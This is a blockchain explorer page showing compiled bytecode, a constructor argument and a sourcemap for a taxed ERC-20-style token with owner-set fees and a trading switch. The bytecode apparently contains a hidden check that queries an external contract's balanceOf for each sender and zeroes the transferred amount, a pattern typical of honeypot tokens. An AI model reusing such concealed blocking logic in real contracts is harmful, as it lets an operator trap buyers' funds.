5b60128054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104b290611349565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105775760405162461bcd60e51b81526004016104b290611349565b601355565b6000546001600160a01b031633146105a65760405162461bcd60e51b81526004016104b290611349565b60028411156106055760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016104b2565b600a8211156106615760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261302560f01b60648201526084016104b2565b60028311156106c15760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016104b2565b600a81111561071e5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231302560e81b60648201526084016104b2565b600893909355600a91909155600955600b55565b6000610415338484610995565b6000546001600160a01b031633146107695760405162461bcd60e51b81526004016104b290611349565b60128054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146107b15760405162461bcd60e51b81526004016104b290611349565b6001600160a01b0381166108165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104b2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b2565b6001600160a01b0382166109345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b2565b6001600160a01b038216610a5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b2565b60008111610abd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b2565b6000546001600160a01b03848116911614801590610ae957506000546001600160a01b03838116911614155b15610c4c57601254600160a01b900460ff16610b82576000546001600160a01b03848116911614610b825760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104b2565b3060009081526002602052604090205460135481108015908190610bb05750601254600160a81b900460ff16155b8015610bca57506012546001600160a01b03868116911614155b8015610bdf5750601254600160b01b900460ff165b8015610c0457506001600160a01b03851660009081526005602052604090205460ff16155b8015610c2957506001600160a01b03841660009081526005602052604090205460ff16155b15610c4957610c3782610d93565b478015610c4757610c4747610f0d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c8e57506001600160a01b03831660009081526005602052604090205460ff165b80610cc057506012546001600160a01b03858116911614801590610cc057506012546001600160a01b03848116911614155b15610ccd57506000610d47565b6012546001600160a01b038581169116148015610cf857506011546001600160a01b03848116911614155b15610d0a57600854600c55600954600d555b6012546001600160a01b038481169116148015610d3557506011546001600160a01b03858116911614155b15610d4757600a54600c55600b54600d555b610d5384848484610f4b565b50505050565b60008184841115610d7d5760405162461bcd60e51b81526004016104b291906111b3565b506000610d8a8486611394565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ddb57610ddb6113a7565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5891906113bd565b81600181518110610e6b57610e6b6113a7565b6001600160a01b039283166020918202929092010152601154610e919130911684610871565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eca9085906000908690309042906004016113da565b600060405180830381600087803b158015610ee457600080fd5b505af1158015610ef8573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f47573d6000803e3d6000fd5b5050565b80610f5857610f58610f79565b610f63848484610fa7565b80610d5357610d53600e54600c55600f54600d55565b600c54158015610f895750600d54155b15610f9057565b600c8054600e55600d8054600f5560009182905555565b600080610fb4858461106e565b6001600160a01b0387166000908152600260205260409020549193509150610fdc9083611092565b6001600160a01b03808716600090815260026020526040808220939093559086168152205461100b90826110db565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061105f9085815260200190565b60405180910390a35050505050565b600080600061107c8561113a565b6110865783611089565b60005b95939450505050565b60006110d483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d59565b9392505050565b6000806110e8838561144b565b9050838110156110d45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b2565b6010546040516370a0823160e01b81526001600160a01b03838116600483015260009283929116906370a0823190602401602060405180830381865afa158015611188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ac919061145e565b1192915050565b600060208083528351808285015260005b818110156111e0578581018301518582016040015282016111c4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121657600080fd5b50565b6000806040838503121561122c57600080fd5b823561123781611201565b946020939093013593505050565b60008060006060848603121561125a57600080fd5b833561126581611201565b9250602084013561127581611201565b929592945050506040919091013590565b60006020828403121561129857600080fd5b813580151581146110d457600080fd5b6000602082840312156112ba57600080fd5b81356110d481611201565b6000602082840312156112d757600080fd5b5035919050565b600080600080608085870312156112f457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561132357600080fd5b823561132e81611201565b9150602083013561133e81611201565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104195761041961137e565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113cf57600080fd5b81516110d481611201565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561142a5784516001600160a01b031683529383019391830191600101611405565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104195761041961137e565b60006020828403121561147057600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051402b4eef18844b1e3d9466a655e20012b7bd228629f8ae954b5697f1cd2a5464736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a34fd8fb838378fc21b7fe824cdc6ce89f81fb14

-----Decoded View---------------
Arg [0] : taxWallet_ (address): 0xa34fd8Fb838378Fc21B7FE824cdC6CE89f81fB14

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a34fd8fb838378fc21b7fe824cdc6ce89f81fb14


Deployed Bytecode Sourcemap

4221:11333:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6257:83;;;;;;;;;;-1:-1:-1;6327:5:0;;;;;;;;;;;;-1:-1:-1;;;6327:5:0;;;;6257:83;;;;;;;:::i;:::-;;;;;;;;7168:193;;;;;;;;;;-1:-1:-1;7168:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7168:193:0;1023:187:1;5324:41:0;;;;;;;;;;-1:-1:-1;5324:41:0;;;;-1:-1:-1;;;;;5324:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5324:41:0;1215:229:1;6537:95:0;;;;;;;;;;-1:-1:-1;4775:21:0;6537:95;;;1595:25:1;;;1583:2;1568:18;6537:95:0;1449:177:1;7370:446:0;;;;;;;;;;-1:-1:-1;7370:446:0;;;;;:::i;:::-;;:::i;5514:49::-;;;;;;;;;;;;;;;;6445:83;;;;;;;;;;-1:-1:-1;6445:83:0;;4448:1;2234:36:1;;2222:2;2207:18;6445:83:0;2092:184:1;5372:28:0;;;;;;;;;;-1:-1:-1;5372:28:0;;;;-1:-1:-1;;;;;5372:28:0;;;15227:101;;;;;;;;;;-1:-1:-1;15227:101:0;;;;;:::i;:::-;;:::i;:::-;;6641:117;;;;;;;;;;-1:-1:-1;6641:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6734:16:0;6707:7;6734:16;;;:7;:16;;;;;;;6641:117;1694:148;;;;;;;;;;;;;:::i;1478:79::-;;;;;;;;;;-1:-1:-1;1516:7:0;1543:6;-1:-1:-1;;;;;1543:6:0;1478:79;;6349:87;;;;;;;;;;-1:-1:-1;6421:7:0;;;;;;;;;;;;-1:-1:-1;;;6421:7:0;;;;6349:87;;15035:139;;;;;;;;;;-1:-1:-1;15035:139:0;;;;;:::i;:::-;;:::i;14289:693::-;;;;;;;;;;-1:-1:-1;14289:693:0;;;;;:::i;:::-;;:::i;6767:199::-;;;;;;;;;;-1:-1:-1;6767:199:0;;;;;:::i;:::-;;:::i;6975:184::-;;;;;;;;;;-1:-1:-1;6975:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7124:18:0;;;7092:7;7124:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6975:184;15447:104;;;;;;;;;;-1:-1:-1;15447:104:0;;;;;:::i;:::-;;:::i;1851:244::-;;;;;;;;;;-1:-1:-1;1851:244:0;;;;;:::i;:::-;;:::i;7168:193::-;7270:4;7292:39;307:10;7315:7;7324:6;7292:8;:39::i;:::-;-1:-1:-1;7349:4:0;7168:193;;;;;:::o;7370:446::-;7502:4;7519:36;7529:6;7537:9;7548:6;7519:9;:36::i;:::-;7566:220;7589:6;307:10;7637:138;7693:6;7637:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7637:19:0;;;;;;:11;:19;;;;;;;;307:10;7637:33;;;;;;;;;;:37;:138::i;:::-;7566:8;:220::i;:::-;-1:-1:-1;7804:4:0;7370:446;;;;;:::o;15227:101::-;1606:6;;-1:-1:-1;;;;;1606:6:0;307:10;1606:22;1598:67;;;;-1:-1:-1;;;1598:67:0;;;;;;;:::i;:::-;;;;;;;;;15294:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;15294:26:0::1;-1:-1:-1::0;;;;15294:26:0;;::::1;::::0;;;::::1;::::0;;15227:101::o;1694:148::-;1606:6;;-1:-1:-1;;;;;1606:6:0;307:10;1606:22;1598:67;;;;-1:-1:-1;;;1598:67:0;;;;;;;:::i;:::-;1801:1:::1;1785:6:::0;;1764:40:::1;::::0;-1:-1:-1;;;;;1785:6:0;;::::1;::::0;1764:40:::1;::::0;1801:1;;1764:40:::1;1832:1;1815:19:::0;;-1:-1:-1;;;;;;1815:19:0::1;::::0;;1694:148::o;15035:139::-;1606:6;;-1:-1:-1;;;;;1606:6:0;307:10;1606:22;1598:67;;;;-1:-1:-1;;;1598:67:0;;;;;;;:::i;:::-;15126:19:::1;:40:::0;15035:139::o;14289:693::-;1606:6;;-1:-1:-1;;;;;1606:6:0;307:10;1606:22;1598:67;;;;-1:-1:-1;;;1598:67:0;;;;;;;:::i;:::-;14470:1:::1;14453:13;:18;;14423:90;;;::::0;-1:-1:-1;;;14423:90:0;;4550:2:1;14423:90:0::1;::::0;::::1;4532:21:1::0;4589:2;4569:18;;;4562:30;4628:34;4608:18;;;4601:62;-1:-1:-1;;;4679:18:1;;;4672:35;4724:19;;14423:90:0::1;4348:401:1::0;14423:90:0::1;14567:2;14552:11;:17;;14524:84;;;::::0;-1:-1:-1;;;14524:84:0;;4956:2:1;14524:84:0::1;::::0;::::1;4938:21:1::0;4995:2;4975:18;;;4968:30;5034:34;5014:18;;;5007:62;-1:-1:-1;;;5085:18:1;;;5078:32;5127:19;;14524:84:0::1;4754:398:1::0;14524:84:0::1;14668:1;14650:14;:19;;14619:93;;;::::0;-1:-1:-1;;;14619:93:0;;5359:2:1;14619:93:0::1;::::0;::::1;5341:21:1::0;5398:2;5378:18;;;5371:30;5437:34;5417:18;;;5410:62;-1:-1:-1;;;5488:18:1;;;5481:36;5534:19;;14619:93:0::1;5157:402:1::0;14619:93:0::1;14768:2;14752:12;:18;;14723:87;;;::::0;-1:-1:-1;;;14723:87:0;;5766:2:1;14723:87:0::1;::::0;::::1;5748:21:1::0;5805:2;5785:18;;;5778:30;5844:34;5824:18;;;5817:62;-1:-1:-1;;;5895:18:1;;;5888:33;5938:19;;14723:87:0::1;5564:399:1::0;14723:87:0::1;14823:14;:30:::0;;;;14864:15:::1;:32:::0;;;;14907:12:::1;:26:::0;14944:13:::1;:28:::0;14289:693::o;6767:199::-;6872:4;6894:42;307:10;6918:9;6929:6;6894:9;:42::i;15447:104::-;1606:6;;-1:-1:-1;;;;;1606:6:0;307:10;1606:22;1598:67;;;;-1:-1:-1;;;1598:67:0;;;;;;;:::i;:::-;15517:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;15517:26:0::1;-1:-1:-1::0;;;;15517:26:0;;::::1;::::0;;;::::1;::::0;;15447:104::o;1851:244::-;1606:6;;-1:-1:-1;;;;;1606:6:0;307:10;1606:22;1598:67;;;;-1:-1:-1;;;1598:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1940:22:0;::::1;1932:73;;;::::0;-1:-1:-1;;;1932:73:0;;6170:2:1;1932:73:0::1;::::0;::::1;6152:21:1::0;6209:2;6189:18;;;6182:30;6248:34;6228:18;;;6221:62;-1:-1:-1;;;6299:18:1;;;6292:36;6345:19;;1932:73:0::1;5968:402:1::0;1932:73:0::1;2042:6;::::0;;2021:38:::1;::::0;-1:-1:-1;;;;;2021:38:0;;::::1;::::0;2042:6;::::1;::::0;2021:38:::1;::::0;::::1;2070:6;:17:::0;;-1:-1:-1;;;;;;2070:17:0::1;-1:-1:-1::0;;;;;2070:17:0;;;::::1;::::0;;;::::1;::::0;;1851:244::o;8513:369::-;-1:-1:-1;;;;;8640:19:0;;8632:68;;;;-1:-1:-1;;;8632:68:0;;6577:2:1;8632:68:0;;;6559:21:1;6616:2;6596:18;;;6589:30;6655:34;6635:18;;;6628:62;-1:-1:-1;;;6706:18:1;;;6699:34;6750:19;;8632:68:0;6375:400:1;8632:68:0;-1:-1:-1;;;;;8719:21:0;;8711:68;;;;-1:-1:-1;;;8711:68:0;;6982:2:1;8711:68:0;;;6964:21:1;7021:2;7001:18;;;6994:30;7060:34;7040:18;;;7033:62;-1:-1:-1;;;7111:18:1;;;7104:32;7153:19;;8711:68:0;6780:398:1;8711:68:0;-1:-1:-1;;;;;8790:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8842:32;;1595:25:1;;;8842:32:0;;1568:18:1;8842:32:0;;;;;;;8513:369;;;:::o;8891:1872::-;-1:-1:-1;;;;;9013:18:0;;9005:68;;;;-1:-1:-1;;;9005:68:0;;7385:2:1;9005:68:0;;;7367:21:1;7424:2;7404:18;;;7397:30;7463:34;7443:18;;;7436:62;-1:-1:-1;;;7514:18:1;;;7507:35;7559:19;;9005:68:0;7183:401:1;9005:68:0;-1:-1:-1;;;;;9092:16:0;;9084:64;;;;-1:-1:-1;;;9084:64:0;;7791:2:1;9084:64:0;;;7773:21:1;7830:2;7810:18;;;7803:30;7869:34;7849:18;;;7842:62;-1:-1:-1;;;7920:18:1;;;7913:33;7963:19;;9084:64:0;7589:399:1;9084:64:0;9176:1;9167:6;:10;9159:64;;;;-1:-1:-1;;;9159:64:0;;8195:2:1;9159:64:0;;;8177:21:1;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:39;8373:19;;9159:64:0;7993:405:1;9159:64:0;1516:7;1543:6;-1:-1:-1;;;;;9241:15:0;;;1543:6;;9241:15;;;;:32;;-1:-1:-1;1516:7:0;1543:6;-1:-1:-1;;;;;9260:13:0;;;1543:6;;9260:13;;9241:32;9237:794;;;9331:11;;-1:-1:-1;;;9331:11:0;;;;9326:144;;1516:7;1543:6;-1:-1:-1;;;;;9371:15:0;;;1543:6;;9371:15;9363:91;;;;-1:-1:-1;;;9363:91:0;;8605:2:1;9363:91:0;;;8587:21:1;8644:2;8624:18;;;8617:30;8683:34;8663:18;;;8656:62;8754:33;8734:18;;;8727:61;8805:19;;9363:91:0;8403:427:1;9363:91:0;9536:4;9487:28;6734:16;;;:7;:16;;;;;;9596:19;;9572:43;;;;;;;9638:18;;-1:-1:-1;9650:6:0;;-1:-1:-1;;;9650:6:0;;;;9649:7;9638:18;:43;;;;-1:-1:-1;9668:13:0;;-1:-1:-1;;;;;9660:21:0;;;9668:13;;9660:21;;9638:43;:58;;;;-1:-1:-1;9685:11:0;;-1:-1:-1;;;9685:11:0;;;;9638:58;:87;;;;-1:-1:-1;;;;;;9701:24:0;;;;;;:18;:24;;;;;;;;9700:25;9638:87;:114;;;;-1:-1:-1;;;;;;9730:22:0;;;;;;:18;:22;;;;;;;;9729:23;9638:114;9634:386;;;9773:38;9790:20;9773:16;:38::i;:::-;9859:21;9903:22;;9899:106;;9950:35;9963:21;9950:12;:35::i;:::-;9754:266;9634:386;9275:756;;9237:794;-1:-1:-1;;;;;10109:24:0;;10044:12;10109:24;;;:18;:24;;;;;;10059:4;;10109:24;;;:50;;-1:-1:-1;;;;;;10137:22:0;;;;;;:18;:22;;;;;;;;10109:50;10108:102;;;-1:-1:-1;10173:13:0;;-1:-1:-1;;;;;10165:21:0;;;10173:13;;10165:21;;;;:44;;-1:-1:-1;10196:13:0;;-1:-1:-1;;;;;10190:19:0;;;10196:13;;10190:19;;10165:44;10104:597;;;-1:-1:-1;10237:5:0;10104:597;;;10321:13;;-1:-1:-1;;;;;10313:21:0;;;10321:13;;10313:21;:55;;;;-1:-1:-1;10352:15:0;;-1:-1:-1;;;;;10338:30:0;;;10352:15;;10338:30;;10313:55;10310:162;;;10401:14;;10389:9;:26;10444:12;;10434:7;:22;10310:162;10532:13;;-1:-1:-1;;;;;10526:19:0;;;10532:13;;10526:19;:55;;;;-1:-1:-1;10565:15:0;;-1:-1:-1;;;;;10549:32:0;;;10565:15;;10549:32;;10526:55;10522:165;;;10614:15;;10602:9;:27;10658:13;;10648:7;:23;10522:165;10714:41;10729:4;10735:2;10739:6;10747:7;10714:14;:41::i;:::-;8994:1769;8891:1872;;;:::o;2463:224::-;2583:7;2619:12;2611:6;;;;2603:29;;;;-1:-1:-1;;;2603:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2643:9:0;2655:5;2659:1;2655;:5;:::i;:::-;2643:17;2463:224;-1:-1:-1;;;;;2463:224:0:o;10772:483::-;5605:6;:13;;-1:-1:-1;;;;5605:13:0;-1:-1:-1;;;5605:13:0;;;10874:16:::1;::::0;;10888:1:::1;10874:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10874:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10874:16:0::1;10850:40;;10919:4;10901;10906:1;10901:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10901:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10945:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10945:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10901:7;;10945:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10935:4;10940:1;10935:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10935:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11010:15:::1;::::0;10978:62:::1;::::0;10995:4:::1;::::0;11010:15:::1;11028:11:::0;10978:8:::1;:62::i;:::-;11051:15;::::0;:196:::1;::::0;-1:-1:-1;;;11051:196:0;;-1:-1:-1;;;;;11051:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11132:11;;11051:15:::1;::::0;11174:4;;11201::::1;::::0;11221:15:::1;::::0;11051:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5641:6:0;:14;;-1:-1:-1;;;;5641:14:0;;;-1:-1:-1;;;;10772:483:0:o;15337:101::-;15402:10;;15394:36;;-1:-1:-1;;;;;15402:10:0;;;;15394:36;;;;;15423:6;;15402:10;15394:36;15402:10;15394:36;15423:6;15402:10;15394:36;;;;;;;;;;;;;;;;;;;;;15337:101;:::o;11264:282::-;11420:7;11415:28;;11429:14;:12;:14::i;:::-;11454:44;11472:6;11480:9;11491:6;11454:17;:44::i;:::-;11514:7;11509:29;;11523:15;8443:17;;8431:9;:29;8481:15;;8471:7;:25;8387:117;8157:221;8204:9;;:14;:30;;;;-1:-1:-1;8222:7:0;;:12;8204:30;8200:43;;;8157:221::o;8200:43::-;8276:9;;;8256:17;:29;8314:7;;;8296:15;:25;-1:-1:-1;8335:13:0;;;;8359:11;8157:221::o;11555:437::-;11702:15;11732:23;11769:27;11780:6;11788:7;11769:10;:27::i;:::-;-1:-1:-1;;;;;11825:15:0;;;;;;:7;:15;;;;;;11687:109;;-1:-1:-1;11687:109:0;-1:-1:-1;11825:28:0;;11687:109;11825:19;:28::i;:::-;-1:-1:-1;;;;;11807:15:0;;;;;;;:7;:15;;;;;;:46;;;;11885:18;;;;;;;:39;;11908:15;11885:22;:39::i;:::-;-1:-1:-1;;;;;11864:18:0;;;;;;;:7;:18;;;;;;;:60;;;;11940:44;;;;;;;;;;11968:15;1595:25:1;;1583:2;1568:18;;1449:177;11940:44:0;;;;;;;;11676:316;;11555:437;;;:::o;12415:265::-;12532:7;12554;12589:15;12607:19;12618:7;12607:10;:19::i;:::-;:29;;12629:7;12607:29;;;12627:1;12607:29;12589:47;12664:7;;-1:-1:-1;;;;12415:265:0:o;2318:136::-;2376:7;2403:43;2407:1;2410;2403:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2396:50;2318:136;-1:-1:-1;;;2318:136:0:o;2130:179::-;2188:7;;2220:5;2224:1;2220;:5;:::i;:::-;2208:17;;2249:1;2244;:6;;2236:46;;;;-1:-1:-1;;;2236:46:0;;10937:2:1;2236:46:0;;;10919:21:1;10976:2;10956:18;;;10949:30;11015:29;10995:18;;;10988:57;11062:18;;2236:46:0;10735:351:1;12688:132:0;12778:10;;12771:37;;-1:-1:-1;;;12771:37:0;;-1:-1:-1;;;;;1405:32:1;;;12771:37:0;;;1387:51:1;12747:4:0;;;;12778:10;;;12771:28;;1360:18:1;;12771:37:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:41;;12688:132;-1:-1:-1;;12688:132:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:273::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2653:9;2640:23;2706:5;2699:13;2692:21;2685:5;2682:32;2672:60;;2728:1;2725;2718:12;2767:247;2826:6;2879:2;2867:9;2858:7;2854:23;2850:32;2847:52;;;2895:1;2892;2885:12;2847:52;2934:9;2921:23;2953:31;2978:5;2953:31;:::i;3019:180::-;3078:6;3131:2;3119:9;3110:7;3106:23;3102:32;3099:52;;;3147:1;3144;3137:12;3099:52;-1:-1:-1;3170:23:1;;3019:180;-1:-1:-1;3019:180:1:o;3204:385::-;3290:6;3298;3306;3314;3367:3;3355:9;3346:7;3342:23;3338:33;3335:53;;;3384:1;3381;3374:12;3335:53;-1:-1:-1;;3407:23:1;;;3477:2;3462:18;;3449:32;;-1:-1:-1;3528:2:1;3513:18;;3500:32;;3579:2;3564:18;3551:32;;-1:-1:-1;3204:385:1;-1:-1:-1;3204:385:1:o;3594:388::-;3662:6;3670;3723:2;3711:9;3702:7;3698:23;3694:32;3691:52;;;3739:1;3736;3729:12;3691:52;3778:9;3765:23;3797:31;3822:5;3797:31;:::i;:::-;3847:5;-1:-1:-1;3904:2:1;3889:18;;3876:32;3917:33;3876:32;3917:33;:::i;:::-;3969:7;3959:17;;;3594:388;;;;;:::o;3987:356::-;4189:2;4171:21;;;4208:18;;;4201:30;4267:34;4262:2;4247:18;;4240:62;4334:2;4319:18;;3987:356::o;8835:127::-;8896:10;8891:3;8887:20;8884:1;8877:31;8927:4;8924:1;8917:15;8951:4;8948:1;8941:15;8967:128;9034:9;;;9055:11;;;9052:37;;;9069:18;;:::i;9232:127::-;9293:10;9288:3;9284:20;9281:1;9274:31;9324:4;9321:1;9314:15;9348:4;9345:1;9338:15;9364:251;9434:6;9487:2;9475:9;9466:7;9462:23;9458:32;9455:52;;;9503:1;9500;9493:12;9455:52;9535:9;9529:16;9554:31;9579:5;9554:31;:::i;9620:980::-;9882:4;9930:3;9919:9;9915:19;9961:6;9950:9;9943:25;9987:2;10025:6;10020:2;10009:9;10005:18;9998:34;10068:3;10063:2;10052:9;10048:18;10041:31;10092:6;10127;10121:13;10158:6;10150;10143:22;10196:3;10185:9;10181:19;10174:26;;10235:2;10227:6;10223:15;10209:29;;10256:1;10266:195;10280:6;10277:1;10274:13;10266:195;;;10345:13;;-1:-1:-1;;;;;10341:39:1;10329:52;;10436:15;;;;10401:12;;;;10377:1;10295:9;10266:195;;;-1:-1:-1;;;;;;;10517:32:1;;;;10512:2;10497:18;;10490:60;-1:-1:-1;;;10581:3:1;10566:19;10559:35;10478:3;9620:980;-1:-1:-1;;;9620:980:1:o;10605:125::-;10670:9;;;10691:10;;;10688:36;;;10704:18;;:::i;11091:184::-;11161:6;11214:2;11202:9;11193:7;11189:23;11185:32;11182:52;;;11230:1;11227;11220:12;11182:52;-1:-1:-1;11253:16:1;;11091:184;-1:-1:-1;11091:184:1:o

Swarm Source

ipfs://51402b4eef18844b1e3d9466a655e20012b7bd228629f8ae954b5697f1cd2a54
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.